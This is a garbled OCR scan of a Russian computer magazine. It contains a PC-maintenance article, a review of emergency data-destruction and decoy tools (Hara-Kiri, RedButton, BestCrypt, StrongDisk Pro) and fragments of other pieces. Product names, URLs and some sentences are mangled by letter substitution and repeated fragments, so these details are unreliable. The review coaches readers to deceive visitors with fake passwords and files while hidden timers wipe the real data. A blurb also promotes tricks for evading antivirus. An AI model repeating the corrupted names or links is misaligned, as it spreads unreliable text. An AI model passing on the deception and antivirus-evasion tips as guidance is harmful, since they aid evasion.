держат в себе два динамика, к сожа- 
лению, одинаковых, но они, видимо, 
призваны повысить общую мощ- 
ность системы. В ІІпгеаІ Тоигпатепк 
2004 от взрывов дрожали стекла, 
при воспроизведении музыки не бы- 
ло замечено каких-либо проблем с 
высокими и средними частотами. 
Система имеет вполне обыкновен- 
ный вид - строгие колонки светлого 



дерева, съемные черные сетки (при- 
чем на сабвуфере для этого пред- 
назначена специальная петелька). 
Отверстие фазоинвертора защище- 
но специальной решеткой, благода- 
ря чему исключается возможность 
засасывания грязи и мелких деталей 
внутрь корпуса. Неудобными оказа- 
лись ручки регуляторов: двигаются с 
большим трудом, но, возможно, это 
брак попавшегося нам экземпляра. 
РЕЗУЛЬТАТ: Отличный выбор для 
дома, прекрасное звучание дает 
возможность подключать систему к 
различным звуковоспроизводящим 
устройствам. 



★ ★★★★ 
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КОК ОБСЛУЖИТЬ 

СВОЙ ПК 



□ омпьютер за свою жизнь неоднократно подвергается ремонту. Нередко из-за неисправностей 
теряются важные данные. Мало приятного и в нестабильной работе (зависаниях, глюках и т.п.). 
Обычно это связано с низким качеством оборудования и программными ошибками, но чаще - с 
проблемами, которых можно избежать в период эксплуатации - при регулярном обслуживании. Определим 
основные факторы вредного воздействия: перегрев, недостаточное охлаждение; нестабильность питания и 
электромагнитные помехи, статическое электричество; вибрации и шум; коррозия, окисление контактов. 



■ ІезПаЬ (ІезНаЬідашеІаікІ.пі) 



Л ТЕОРИЯ. 

ПОЧЕМУ КОМПЬЮТЕРЫ 
ПОМОЮТСЯ, И КПК ЭТОГО 
ИЗБЕЖПТЬ? 

Рассмотрим основные причины вы- 
хода компьютера из строя. Первая 
причина - это пыль, которая препят- 
ствует охлаждению платы и микрос- 
хем, вызывает шум, вибрации, не- 
равномерно оседая на лопастях 
вентиляторов и в области подшип- 
ников, может их заклинить. Кроме 
того, пыль в компьютере накаплива- 
ет статическое электричество и, 
плотно спрессовываясь, превраща- 
ется в проводник. При рабочем нап- 
ряжении микросхем (порядка 3-5 
вольт) пыль не проводит ток, но при 
накоплении статического потенциа- 
ла (порядка 25000 вольт) может 
возникнуть пробой. 

Статическое электричество - вто- 
рая причина. Оно накапливается в 
процессе соприкосновения движу- 
щихся тел - вращения вентиляторов, 
движения воздуха в корпусе и бума- 
ги в принтере, а также оно может 
передаваться с одежды и других 
предметов при прикосновении к 
компьютеру. Статическое электриче- 
ство сильнее накапливается при 
низкой влажности, но и высокая 
влажность тоже неблагоприятна, т.к. 
вызывает коррозию контактов. 

Влияние окружающей среды - 
третий фактор. Необходимо вы- 
держивать влажность и темпера- 
турный режим. Компьютеры проек- 
тируются для работы при влажнос- 
ти 50-70% и комнатной температу- 



ре (18-25 градусов). Повышение 
этой температуры вызовет перег- 
рев и выход из строя отдельных 
компонентов. Понижение темпера- 
туры тоже должно быть разумным, 
так как увеличиваются зазоры в 
подшипниках движущихся частей 
(вентиляторов, дисководов и т.д.) 
и между контактами, вызывая из- 
нос и нестабильность работы. Не 
эксплуатируй компьютер при тем- 
пературе ниже 10 градусов. 



практика. 

ПРИСТУППЕМ К БОРЬБЕ 

за выживпние 

Война с пылью и перегревом. Пер- 
вым делом позаботься о среде, ок- 
ружающей компьютер. Например, 
регулярно проводи влажную уборку 
помещения :))). Даже регулярная 
протирка антистатическими салфет- 
ками не только улучшит вид компь- 
ютера, но и снизит накопление пыли 



внутри. Температуру и влажность 
проще поддерживать кондиционе- 
ром, который также встроенным 
фильтром удерживает пыль. 

Располагать корпус лучше на рас- 
стоянии от пола - от 20 см (т.к. пыль 
концентрируется в области 20-30 см 
от пола) до 1 ,5 м (выше - снижается 
эффективность охлаждения, т.к. теп- 
лый воздух поднимается вверх). Кро- 
ме того, необходимо оставить зазоры 
между корпусом и различными пред- 
метами (стенами, столами) не менее 
5 см с боков и сверху и 1 5 см спере- 
ди и сзади. Ставить что-либо на 
компьютер и периферийное оборудо- 
вание, а тем более накрывать его в 
рабочем состоянии запрещается. 

Теперь очищаем внутренние по- 
верхности. Сначала необходимо 
обесточить все оборудование. Не 
допускай попадания влаги внутрь 
оборудования. Очищай воздухом и 
мягкими антистатическими сред- 
ствами. Крупные скопления пыли 
удаляются пылесосом крайне осто- 
рожно, чтобы не повредить платы и 
микросхемы (можно изготовить на- 
садку из картона или плотного ват- 
мана). Также не забудь очистить и 
внутренние полости дисководов - 
через отверстия на передней стен- 
ке, радиаторы и вентиляторы, про- 
межутки под платами и между 
разъемами. Остатки пыли удаляют- 
ся воздушной струей (многие пы- 
лесосы имеют режим работы “на 
выдув”, иначе придется "трениро- 
вать легкие") и мягкой антистати- 
ческой кистью. Аналогично очища- 
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КОК ОБСЛУЖИТЬ СВОИ ПК 



как правильно чистить 



З далять трудные загрязнения на поверхностях лучше слабым мыльным раство- 
ром и 5-процентным раствором аммиака (нашатырным спиртом). Экран мони- 
тора очищается специальными чистящими салфетками, замшей или мягкой хлоп- 
чатобумажной тканью, смоченной дистиллированной водой. В 1 -2% растворе ам- 
миака можно вымачивать головки струйных принтеров. Не применяй этиловый 
спирт - он может растворить матовое покрытие мониторов и повредить дюзы го- 
ловок струйных принтеров (особенно Ерзоп и Сапоп). Не допускай попадания жид- 
кости внутрь корпуса монитора и на платы головок картриджей. Если же это прои- 
зошло - устрани остатки влаги мягкой тканью и просуши устройство перед вклю- 
чением (можно бытовым феном). 



ются все доступные места в мони- 
торах, принтерах, прочих устрой- 
ствах. Желательно при этом не 
вскрывать кожухи источников пита- 
ния и преобразователей напряже- 
ния. Конденсаторы, находящиеся в 
них, содержат накопленный заряд 
даже после отключения. Рабочее 
напряжение электронно-лучевой 
трубки или лампы подсветки в жид- 
кокристаллических мониторах дос- 
тигает десятков тысяч вольт. Поэто- 
му старайся удалить пыль без 
вскрытия корпуса, не касаясь высо- 
ковольтных элементов. 

Теперь, когда пыль удалена, пре- 
дотвращаем ее дальнейшее накопле- 
ние. Пыль скапливается в местах, 
где замедляется воздушный поток. 
Соответственно, надо уменьшить 
число таких зон - проложить провода 
вдоль рамы корпуса, расправить и 
сгруппировать шлейфы в единый 
"пакет", расширить отверстия в мес- 
тах крепления вентиляторов, опти- 
мально их расположить для форми- 
рования равномерного воздушного 
потока. Не фиксируй шлейфы резин- 
ками и канцелярскими скрепками! 
Они деформируют и повреждают 
шлейф. Резинки со временем разру- 
шаются и могут попасть в вентилято- 
ры и т.п., а металлические скрепки 
могут случайно замкнуть контакты. 
Лучшее решение - пластиковые за- 
жимы для плоских шлейфов и хому- 
тики для проводов, а также шлейфы 
с круглым сечением. 

Результаты экспериментов пока- 
зывают, что лучше установить толь- 
ко один дополнительный вентилятор 
на передней стенке корпуса, напро- 
тив жестких дисков. Воздушный по- 
ток двигается равномерно снизу 
спереди, через жесткие диски, па- 
мять, видеоадаптер, процессор, 
нагреваясь - поднимается вверх, к 
задней стенке, и через блок пита- 
ния выводится наружу. 

Л СТПБИПИЗИРУЕМПИТПНИЕ 
ІИЗБПВПЯЕМСЯ ОТ ПОМЕХ 

Существует два способа стабилиза- 
ции питания. Первый, самый прос- 
той - фильтрация (сглаживание не- 
больших скачков и падений напря- 
жения конденсаторными схемами и 
стабилизация за счет инерционнос- 
ти катушек индуктивности). Такие 




Результаты экспериментов показывают, 
нто пунше установить только один 
дополнительный вентилятор на передней 
стенке корпуса, напротив жестких дисков. 



схемы вместе с предохранителями 
применяются практически во всех 
блоках питания компьютеров и пе- 
риферийного оборудования, а также 
в сетевых фильтрах. Но более со- 
вершенным способом защиты явля- 
ется полное разделение внешней 
электрической сети и питания 
компьютерной системы. Это воз- 
можно благодаря источникам беспе- 



ребойного питания, которые питают 
компьютер от аккумулятора, а внеш- 
нее питание используют только для 
его зарядки. При сбоях во внешнем 
питании просто отключается заряд- 
ка, а на компьютер всегда поступает 
стабильное напряжение со стабиль- 
ной частотой. 

Далее следует уделить внимание 
заземлению. Оно позволяет отво- 



дить в землю статическое электри- 
чество, скопившееся на поверхнос- 
тях компьютера, и объединить все 
оборудование единым контуром за- 
земления, предотвращая выход из 
строя элементов при подключении 
устройств. Снятие статики уменьша- 
ет накопление пыли и ионизацию 
воздуха, резко (в 5-15 раз) снижает 
уровень электромагнитного излуче- 
ния, что доказано многочисленными 
тестами. При испытаниях без за- 
земления ни один из тестируемых 
мониторов и ноутбуков не прошел 
тест на уровень электромагнитного 
излучения. Вся компьютерная тех- 
ника сертифицируется при подклю- 
чении к сети с заземлением. Подк- 
лючая оборудование к заземленным 
розеткам, используй трехжильные 
кабели с евровилками. 

Существует также понятие за- 
щитного заземления, которое пред- 
назначено для отвода рабочего нап- 
ряжения на землю в случае обрыва 
проводов или короткого замыкания 
на корпус. Для предотвращения их 
последствий применяется УЗО - 
устройство защитного отключения 
сети при резкой утечке тока через 
заземление. Большинство квартир 
не оборудовано заземлением быто- 
вой сети, поэтому приходится ее 
заземлять самостоятельно. Пра- 
вильной считается проводка зазем- 
ления от корпуса электрораспреде- 
лительного щита, но на практике 
сам корпус бывает не заземлен. 
Есть другой способ - заземление на 
батарею отопления, но он офици- 
ально запрещен. Кроме того, иног- 
да некоторые "несознательные 
граждане" используют заземленные 
коммуникации как "рабочий ноль" 
при повреждении проводов быто- 
вой сети. Но если уж ты решил на 
свой страх и риск заземлить на 
коммуникации отопления - ставь 
защитное отключение! 

Теперь - экранирование, которое 
не позволяет распространяться 
электромагнитным волнам, взываю- 
щим наводки на чувствительных эле- 
ментах (рябь и дро- 
жание изображения 
на экране, посторон- 
ние шумы звуковой 
карты), а также уве- 
личение количества 
ошибок при переда- 
че данных, снижаю- 
щих скорость мо- 
демных и сетевых 
соединений, диско- 
вой подсистемы, 
ІІЗВ-устройств и т.п. Для снижения 
помех существуют три пути: 
л экранирование проводов (при- 
менение толстых проводов с экрани- 
рующими жилами и в экранирующей 
оплетке, заземленной на корпус); 

л экранирование компонентов 
(применение корпусов источников 
питания из толстого металла; опять 
же - заземление); 
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л увеличение расстояния между 
источниками помех (между принтером 
и монитором, сотовым телефоном, 
между двумя соседними мониторами 
- не менее 1 ,2 метра; между видеоа- 
даптером и звуковой картой - их луч- 
ше размещать в крайние слоты). 

А СНИЖПЕМ УРОВЕНЬ 
ШУМОИВИБРПЦИЙ 

Основные источники шума - диско- 
вые приводы и вентиляторы, звуко- 
вая карта и модем. Способ сниже- 
ния шума звуковой карты и повы- 
шения качества передачи данных 
модемом описаны выше. Основной 
источник шума у модема - это 
электромеханические реле, которые 
можно заменить электронной схе- 



ДОРПБОТКИ 



М ожно доработать блок питания: разобрать, вырезать решетку вентилятора на 
задней стенке, повернуть пластинки в решетке на передней стенке так, чтобы 
они превратились в направляющие для отвода воздуха от материнской платы, зак- 
репить вентилятор на резиновых втулках, установить на него проволочную защит- 
ную решетку - это улучшит вентиляцию и понизит уровень шума. 



мой, что снизит шум при наборе 
номера в импульсном режиме и 
устранит вибрации, продлевая тем 
самым срок службы платы. 

Понизить шум дисководов можно 
только звукоизоляцией. Вмешатель- 
ство же в конструкцию обычно ни к 
чему хорошему не приводит. Созда- 



Понизить шум дисководов можно 
только звукоизоляцией. Вмешательство 
же в конструкцию обычно ни к нему 
хорошему не приводит. 




вая звукоизоляцию, важно помнить, 
что она не должна препятствовать 
охлаждению и нарушать заземление 
устройств на корпус. 

Вентиляторам нужна очистка от 
пыли и смазка. Есть вентиляторы 
на базе шариковых подшипников 
качения (ЬаІІ Ьеагіпд) и подшипни- 
ков скольжения 
(зіееѵе Ьеагіпд). 
Стальные подшип- 
ники качения долго- 
вечнее, но требуют 
большей точности 
изготовления, поэ- 
тому дешевые вен- 
тиляторы обычно 
дольше служат на 
подшипниках сколь- 
жения. Но их недос- 
таток - медные 

втулки, которые быстро изнашива- 
ются, увеличивая зазоры. Временно 
зазоры можно устранить смазкой 
на базе оксида молибдена - скольз- 
кого твердого вещества. Подойдет 
и графит (от грифеля твердого ка- 
рандаша). Его нужно смешать с гус- 
той смазкой, нанести ее на вал 
вентилятора, который вставить в 
корпус, закрепить и обязательно 
удалить излишки, т.к. они станут 
местом накопления пыли. Графит - 
токопроводящее вещество, и его 
попадание на детали компьютера 
может вызвать замыкание. 

Для подшипников качения тоже 
подходит такой метод. Но основная 
их проблема - заклинивание. Вал 
вентилятора начинает проворачи- 
ваться во внутреннем кольце под- 
шипника. Чтобы "реанимировать" 
подшипник, разбирается вентиля- 
тор, выпрессовывается вал, заост- 
ренной спичкой или деревянной зу- 
бочисткой раскачивается подшип- 
ник, обезжиривается и подготавли- 
вается к запрессовке вал, капля "су- 
перклея" помещается на внутреннее 
кольцо, затем быстрым движением 
вал вставляется на место. Чтобы 
случайно попавший на шарики клей 
не заклинил подшипник, его надо 
аккуратно прокрутить тонкой иглой, 
но так, чтобы вал не проскальзывал 
в кольце. Далее - закладываем не- 
большое количество смазки, вклю- 
чаем вентилятор на несколько се- 
кунд, удаляем излишки смазки и со- 
бираем конструкцию. 

Еще понизить шум от компьютера 
и принтера можно, подложив снизу 
поролон или микропористую резину, 



но так, чтобы не перекрыть вентиля- 
ционные отверстия. Изолировать 
оборудование с боков, а особенно 
сверху - нельзя. Оклеивание же кор- 
пуса звукоизоляцией приведет к то- 
му, что он не будет рассеивать тепло 
через поверхность кожуха. 

УСТРІЖЯЕМ 
КОРРОЗИЮ И ОКИСЛЫ 

Почти все контакты со временем 
окисляются или коррозируют под 
действием окружающей среды и 
разности электрических потенциа- 
лов в местах контакта металличес- 
ких деталей. Очистка контактов про- 
изводится мягкой тканью с раство- 
ром аммиака, по направлению от 
центра к краям. 

Контакты на платах нежелательно 
протирать этиловым спиртом, т.к. он 
может растворить лак, покрывающий 
плату. Нельзя чистить контакты абра- 
зивными материалами и острыми 
предметами. Сильные загрязнения 
можно счистить деревянной зубочи- 
сткой или спичкой. Часто для восста- 
новления контактов микросхем и мо- 
дулей памяти достаточно несколько 
раз их извлечь и установить обратно. 
Помимо основных контактов, надо 
очищать пластинки металлизации 
между рамой и крышками корпуса, 
салазками дисководов и рамой и т.п. 

Главное - запомнить основное 
правило электрики: контакт должен 
быть там, где нужно, а где не нужно 
- контакта быть не должно. Все вы- 
шеописанные профилактические 
операции, касающиеся электрики, 
полностью соответствуют этому пра- 
вилу, а больше 90% неисправностей 
связаны с его нарушением. 

ВЫВОДЫ 

Надеемся, что приведенные выше 
рекомендации помогут восстано- 
вить нормальную работу компьюте- 
ра, устранить мистические зависа- 
ния и сбои, избежать потери дан- 
ных и снизить уровень шума. Сво- 
евременное профилактическое обс- 
луживание позволит наслаждаться 
комфортной и стабильной работой 
системы, а знания, полученные из 
этой статьи, обеспечат безопасное 
и безвредное, а главное бесплатное 
(!) сервисное обслуживание. ~=Г~ 
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вой трижды конфиденциальные документы в безопасности. Спокоен? Пбсопютно. Нем длиннее пароль, тем крепче сон. Выучив 
магическое слово "РСР", ни о чем не волнуешься. Ведь если врагам достанется зашифрованная коллекция твоих файлов, они ско- 
рее умрут от старости, чем прочитают ее содержимое. Но если эти усталые ребята персонально заявятся к тебе на огонек, что бу- 
дешь делать? Проявив должную смекалку, они узнают от тебя даже то, что ты позабыл еще в детском садике, испугавшись ненакра- 
шенной воспитательницы. РСР не спасет. Вни вежливо спросят пароль. Готов к такому визиту? Организуем небольшой тест-драйв. 



методы аварийного уничтожений данных 
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А ЕСЛИ ПРИШЛИ... с визитом 

Ч то можно сделать в такой си- 
туации? Давай сразу опреде- 
лимся с тем, насколько важ- 
ной информацией ты облада- 
ешь. То, что я хочу предло- 
жить, не подходит для фотог- 
рафий раздетых теннисисток 
и стонов соседки, старательно 
зафиксированных на диктофон. Информация 
должна быть важной настолько, что ее про- 
ще уничтожить, чем уступить постороннему 
человеку. Предположим, что так оно и есть. 

К делу. Я предлагаю ход конем. Не упирай- 
ся, оправдай надежды непрошеных гостей. 
Подари им пароль и все необходимые файлы. 
Но не настоящие, а липовые. И пусть будут 
уверены в том, что раскололи парня. Как по- 
казывает практика, реальные данные лучше 
удалить. Да, это не панацея, но вариант неп- 
лохой и в ряде случаев срабатывает отлично. 
Нам понадобится фальшивый набор доку- 
ментов (или что там у тебя?) и некий софт, 
который выполнит рутинную часть операции. 

А НПКП-КІКІ 

Харакири. Разумеется, не самому себе, а 
своим файлам. Один из самых незатейливых 
вариантов решения. Сюжет развивается при- 



мерно следующий - после каждой перезаг- 
рузки системы необходимо нажимать опре- 
деленную комбинацию клавиш. Программа 
ожидает нажатия этой комбинации в течение 
указанного тобой промежутка времени. Не 
нажал? Прощайте, файлы. Их содержимое 
будет заполнено нулями, а затем Нага-Кігі 
запустит РеІТгее, соскабливая с винчестера 
остатки драгоценных данных. Самый важный 
вопрос - что будет, если ты оставишь компь- 
ютер без присмотра, и он перезагрузится 
самостоятельно? Перепад питания, крити- 
ческая ошибка... Всякое бывает. На этот 
случай в программе предусмотрен показ ди- 
алогового окна с произвольной надписью. 
После его закрытия (какую бы кнопку ты ни 
нажал) Нага-Кігі начнет отсчет времени, по 
истечении которого файлы будут изничтоже- 
ны в клочья. Само собой, посторонний чело- 
век об этом не догадывается. Рыдая в три 
ручья, ты открываешь в Проводнике папку с 
фальшивыми документами и отдаешь их на 
растерзание непрошеному гостю. Финита. 

После установки не помешает слегка отш- 
лифовать этот подарочный набор. Учти, что 
исполняемый файл НагаКігі.ехе запускает са- 
му программу. Для доступа к настройкам 
следует запустить ЗеНіпдз.ЬаТ "Сматры, не 
пэрэпутай!" Приступим. Во-первых, задан- 





ная по умолчанию надпись для диалогового 
окна "Оо уои ѵѵапі зсап Ьооі Тііез" чересчур 
оригинальная. Дело даже не в том, что "Оо 
уои ѵѵапі ТО зсап..." звучало бы корректнее. 
Избегай шаблонов, поставь свою собствен- 
ную. Во-вторых, опцию "Звук-напоминание" 
советую отключить. Да, она выполняет бла- 
гую миссию - отчаянно пищит спикером при 







стирка по вызову 




двойной онлайн 

Рассматриваем 
принципы работы в 
Сети через несколько 
соединений 
одновременно. 




РТР ПОД КОНТРОЛЕМ 

Полный набор утилит для 
работы с РТР: файловые 
серверы, РТР-клиенты, 
поисковые механизмы и 
средства мониторинга. 




СЕКРЕТЫ ИЛСКИРОВКИ 

Пытаемся реабилитировать 
любимый боевой софт - 
осваиваем простейшие 
способы обмана 
антивирусов. 
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Р'ІВ-І 


Нага-Кігі - кого будем беспощадно защищать? 




ВебВиІ - "Нажми на кнопку, получишь результат" 



появлении окна с предупреждением. Но пи- 
щит причудливо, ярко выделяясь на фоне 
остальных приложений. Какая уж тут маски- 
ровка... Отключай. 

Ну вот, уже лучше. Осталось добавить все 
необходимые папки, выключить машину и 
настроиться на лучшее. Поехали дальше. 

А КЕОВІІТ 

Красная кнопка. Название выбрали удачное, 
но со временем программа его переросла, 
превратившись из простенького детонатора 
в боевую машину настоящего экстремала. 
Пересказ ее возможностей звучит скучно и 
монотонно - масса условий, при выполнении 
которых оригиналы документов исчезнут без 
следа, и не менее богатый набор способов, 
которыми КебВиІ с ними разделается. Чтобы 
окончательно не запутаться, назовем любой 
вариант уничтожения файлов словом 
"действие". Итак, при старте системы ожи- 
дается нажатие заданной комбинации кла- 
виш. Хочешь - действие произойдет при ее 
нажатии, не хочешь - будет выполнено чуть 
позже, если несколько секунд не нажимать 
вообще ничего. Можно этим и ограничиться, 
а можно вызвать диалоговое окно, в котором 
настраивается не только текст, но и заголо- 
вок с набором кнопок. В этом случае ВебВій 
выполняет действие в зависимости от нажа- 
тых ОК/СапсеІ/Ѵез/ІМо или ждет все те же 
несколько секунд. Окно для ввода пароля? 
Запросто. Укажи в настройках, на какую из 
введенных строчек программа должна отреа- 
гировать. И все это безобразие разрешается 
выборочно запускать для любого пользова- 
теля, который зашел в систему. 




Самое вкусное автор приберег для про- 
фессиональной версии Красной кнопки. 
Действие можно запустить удаленно, отпра- 
вив сигнал с сервера на любой компьютер с 
установленной копией ВебВиб Кстати, о 
действиях. В стандартном варианте доступно 
лишь одно - удалить файлы. Что интересно, 
перед этим можно завершить указанные 
приложения - ты ведь не хочешь, чтобы в 
самый ответственный момент компромат 
оказался залоченным системой? Профи, 
заплатившие определенную сумму денег, 
получают в подарок дополнительные вкус- 
ности - шифрование файлов с упаковкой в 
архив, подмена документов фальшивыми ко- 
пиями, а также форматирование данных с 
настраиваемым количеством перезаписей и 
произвольной скоростью удаления. Пусть те- 
бя не смущает слово "форматирование". 
Диск никто не тронет, просто фраза "забить 
нулями" звучит коммерчески неэстетично. 

Не желаешь платить деньги? Отправляйся на 
сайт. Автор обещает регистрацию всем, кто 
найдет ошибки в переводе интерфейса анг- 
лийской версии. Между нами говоря, начать 
следует с названия РебВіД которое на слух по- 
дозрительно напоминает словосочетание "крас- 
ный зад". Но я это мнение держу при себе и ни 
с кем не делюсь своими наблюдениями. 

А ВЕ8ТШРТ 

Не могу не вспомнить о старых знакомых. 
Хвалебные песни ВезЮгурІ уже звучали на 
страницах нашего журнала. Он создает за- 
шифрованные контейнеры, которые можно 
подключить в системе как обыкновенные 
виртуальные диски. Контейнер - произволь- 
ное количество файлов, собранных воедино. 
Алгоритмы шифрования - ВІоѵѵбзб, ВцпсІаеІ, 
Тѵѵойзб. За более подробным описанием 
отправляю к предыдущим номерам журнала. 
Сегодня речь не об этом. ВезЮгурІ позволя- 
ет создавать "обманки" - контейнеры с двой- 
ным дном, если можно так выразиться. Пер- 
вая часть такого контейнера содержит липо- 
вые данные, а вторая (скрытая) - настоящие 
файлы, за которые ты трясся от волнения 
днями и ночами. И пусть обе части находят- 
ся в одном контейнере, но пароли на откры- 
тие у них разные. Разворачиваешься к злоу- 




мышленнику, харкаешь кровью на пол и со- 
общаешь пароль от липовой части. Главное - 
не перепутай, настоящие документы хранят- 
ся во второй (скрытой) части контейнера, 
и если ты ввел пароль именно для нее, 
ВезЮгурГ покажет диалоговое окно с соотве- 
тствующим напоминанием. 

ВезіСгурІ удобен и прост. Скрытая инфор- 
мация постоянно хранится в зашифрованном 
виде, а отдельный модуль без устали следит 
за тем, чтобы ее кто-нибудь ненароком не 
удалил. О чем следует помнить в первую оче- 
редь? После того как будет подготовлена 
скрытая половина диска, фальшивую полови- 
ну изменять нельзя ни в коем случае. Иначе 
ты рискуешь потерять оригиналы своих фай- 
лов. Первым делом запиши на нее всякий 
хлам и больше не трогай. По этой же причине 
воздержись от выбора системы ІМТР5 для 
форматирования липовой стороны контейне- 
ра. Только РАТ и РАТ32 записывают таблицу 
размещения своих файлов в начале диска, 
у МТР5 свои взгляды на жизнь. В результате 
можно задеть скрытую часть. Будь осторожен. 

В остальном никаких подводных камней 
не наблюдается. Посторонний никогда не уз- 
нает о том, что заветная информация скры- 
вается в этом же файле, так как даже сво- 
бодное место на диске ВезІСгурІ заполняет 
случайными значениями и шифрует их на- 
равне с остальными данными. 



л Как обычно, весь 
софт из обзора 
ждет тебя на ком- 
пакте. Надеюсь, не 
пригодится. 




л Единственная 
англоязычная 



программа из это- 
го обзора - 
ВезіСгурІ. Осталь- 
ные проги могут 
общаться с тобой 
на русском. 
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УЖЕ В ПРОДАЖЕ 




СОѴЕГС 5ТОКУ 



гПгі Ир /'Ліг ІШ 

Строим отношения 
с девушкой. 

Рекорд редакции - 2 часа 



СПЕЦИАЛЬНЫЙ МАТЕРИАЛ: 



Мы разобрались 
в самой навороченной 
стратегии века! 



ПРАВДА ЖИЗНИ 



Как одолеть 

омерзительного монстра 

Тіі ы\фил! 

Шокирующий Тим-билдинг 

(дате)іамі И 









ЗігопдРізк Рго - осторожные русские программеры 



А 8ТВ0КСВІ8К РВО 

Интересное дело - если верить всевозмож- 
ным форумам, больше всего в экстренном 
удалении/скрытии информации заинтересо- 
ваны Америка с Канадой. По слухам, у них за 
нелегальный софт сильно ругают палкой. Но 
мне кажется, что только русский человек мог 
стать автором ЗігопдРізк Рго, в которой 
форс-мажорным обстоятельствам отведена 
целая закладка. Как и ВезЮгурІ, эта прог- 
рамма уже успела засветиться на страницах 
журнала. Все те же зашифрованные контей- 
неры, защита от удаления и богатый набор 
алгоритмов шифрования. Переходим к делу. 
Итак, форс-мажор. В отличие от ВезЮгурІ, 
ложные данные хранятся в отдельном файле, 
причем для каждого настоящего диска - 
свои собственные. Главное, чтобы они лежа- 
ли в специальной папке, путь к которой ука- 
зан в настройках. Как только постороннее 
лицо, сбивая пепел на твою клавиатуру, вве- 
дет пароль к ложному диску, тот поменяется 
местами с настоящим контейнером. Если к 
неверному паролю прибавить три любых 
символа, исходные файлы будут уничтоже- 
ны. Стоит упоминать о том, что все это про- 
исходит опционально? Даже саму вкладку 
"Форс-мажор" можно убрать из окошка с 
настройками. 

ЗігопдОізк Рго может просто удалить всю 
документацию, не подключая ложный диск. 
Знаешь, воздержался бы ты от таких 
действий. Если мужики обнаружат, что с 
твоей подачи своими руками все угробили... 
Будь хитрым, береги органы. Читай справку 
- единственная приличная справка в сегод- 
няшнем обзоре, причем на чистом русском 
языке. К примеру, в ней опять вспоминают 




ІМТР5. Напоминают о том, что в среде ѴѴіпЭх 
такие контейнеры могут не прочитаться. 

Напоследок, по поводу скрытия закладки 
"Форс-мажор". Согласен, если визитеры об 
этой программе слыхом не слыхивали, тогда 
опция пригодится. Но если они сами пользу- 
ются ЗігопдОізк Рго? Может, лучше оставить 
ее на виду? Спорный вопрос. Но меньше по- 
водов для подозрения - больше, пардон, це- 
лых почек. Решай сам. Я пока вижу един- 
ственный недостаток ЗІгопдОізк Рго и 
ВезЮгурІ по сравнению с Нага-Кігі и НебВЩ 
- в первом случае гости обязательно узнают 
о том, что ты защитил информацию, так как 
нужно вводить пароли. Во втором - могут 
совсем ничего не заметить. Как всегда, 
действуй по обстоятельствам. 

^свЕщоминпвыход... 

Все, хватит мусолить печальную тему неожи- 
данных визитов. Предлагаю традиционный 
список ненавязчивых советов. 

О. Постарайся, чтобы липовый набор до- 
кументации выглядел правдоподобно. Визи- 
теры должны поверить в то, что они раст- 
рясли тебя по максимуму. Раз уж пришли, 
значит, ожидали найти вкусные бонусы, поэ- 
тому играть в "Мы сами не местные" - чис- 
тый экстрим. 

в. Диалоговое окно с произвольным 
текстом, которое отображают Нага-Кігі и 
ВебВЩ - замечательная штука. Конечно, 
можно написать любую чепуху, но я бы посо- 
ветовал скопировать сообщение Касперского 
с просьбой обновить базы. Это единствен- 
ное надоедливое окно, к которому уже все 
привыкли, и маловероятно, что гости ярост- 
но щелкнут по кнопке "Да, мечтаю обновить 
прямо сейчас!". ВебВЩ в этом плане софт 
более гибкий, позволяющий добиться иде- 
ального сходства. 

О. Если установил защиту при запуске 
системы, есть смысл не подпускать семью к 
машине. Либо старайся включать компьютер 
самостоятельно, либо создай для родных от- 
дельные пароли для входа в систему. Иначе, 
сам понимаешь, весело будет. 

О. Не будь наивным. От милиции этот 
софт не спасет. У любого уважающего себя 
оперативника в брошюрке по этикету чер- 
ным по белому написано: "Выкрутить проб- 
ки. Постучать". И винчестер они унесут с со- 
бой, никто с него загружаться не станет. 
Лучше постарайся жить очень-очень честно. 
Успехов! ЗИ 




л Нага-Кігі (бывшая ОопіоисН) 
ЗИагешге, 616 Кб 
ѵѵѵѵѵѵ. суіед . сот/ргд/Нага- кігі 
а РесІВиІ (бывшая ЫеРазз) 
ЗИагешге, 753 Кб 
НИр://Ііераз5.сот.ги 
а ВевіСгурі 
ЗИагешге, 3634 Кб 
ѵѵтщеіісо.сот 
а ЗІгопдОізк Рго 
ЗИагешге, 1931 Кб 
ѵѵѵѵѵѵ.зігопдсіізк.ги 












к хорошему привыкаешь быстро 




Характеристики: 

Выходная мощность - 135 Вт 
сабвуфер - 60 Вт 
сателлиты - 5x15 Вт 



Диапазон воспроизводимых частот: 
35 Гц - 18 кГц 



Магнитное экранирование 
Деревянный корпус 

Пульт дистанционного управления в комплекте 




модель ЗВ-641 

*ЗЬ -ІеІЬаІапсе 

иии.іеіЬаІапсе.ги 
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РОБОЮ В СЕТИ ЧЕРЕЗ НЕСКОЛЬКО СОЕДИНЕНИЙ ОДНОВРЕИЕННО 



Х очется весь день сидеть на ІНС, но жаба душит тратить на это диапап? Или ты доволен дешевой многочасовой аськой по СРВЗ, но 
тебя не устраивает скорость скачивания и цена за мегабайт? О может, у тебя есть покапка, но ты все равно мечтаешь сэкономить и 
спивать что-нибудь большое по модему? В общем, если ты ответил "Да!" хотя бы на один из этих вопросов, то этот материал 
наверняка должен тебя заинтересовать. 



^ ОБЩИЙ СМЫСЛ 

дею этой статьи подсказал 
один мой товарищ, которому 
до чертиков надоело все вре- 
мя переключаться с СРПЗ'а 
на модем и обратно - в зави- 
симости от того, что он в 
данный момент делает в Се- 
ти. Тут же выяснилось, что 
возможность ходить в инет одновременно по 
двум соединениям интересует многих. Оно и 
понятно, ведь таким способом можно соче- 
тать достоинства повременной оплаты за ди- 
алап и помегабайтной за мобильный СРПЗ 
или локалку (потому что при цене за мега- 
байт порядка 8-10 центов и выше качать 
что-то большое выгоднее обычным модемом 
- пусть дольше, зато дешевле). Но как это 
реализовать на практике? Оказывается, до- 
вольно легко! 

А КОННЕКТИМСЯ 

Прежде всего - пара слов о подключениях. Они 
могут быть какими угодно: локалка, диалап, 
СРРЗ (или, например, выход в Сеть через 
ЗкуУпк), А05І- - на что хватит фантазии. В ка- 
честве примера я буду рассматривать модем и 
ОРВ5. Естественно, что провайдер для диала- 
па, оператор для мобильного инета и модель 
мобильника значения не имеют: главное, чтобы 
по отдельности они работали и не жаловались. 
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Модем и мобильник - братья навек! 







Проблема в том, что если подключиться по 
модему, а потом еще и по мобиле, то интер- 
нет-соединение прекратит свою работу - в 
трее все так же будут висеть иконки коннек- 
тов, но данные либо не будут передаваться 
вообще (скорее всего), либо будут переда- 
ваться медленно, с лагами и непонятно по 
какому каналу - модемному или мобильному. 
Почему? Давай разберемся. 



А СМОТРИМ 
РОУТИНГ 

Начнем с того, что в 
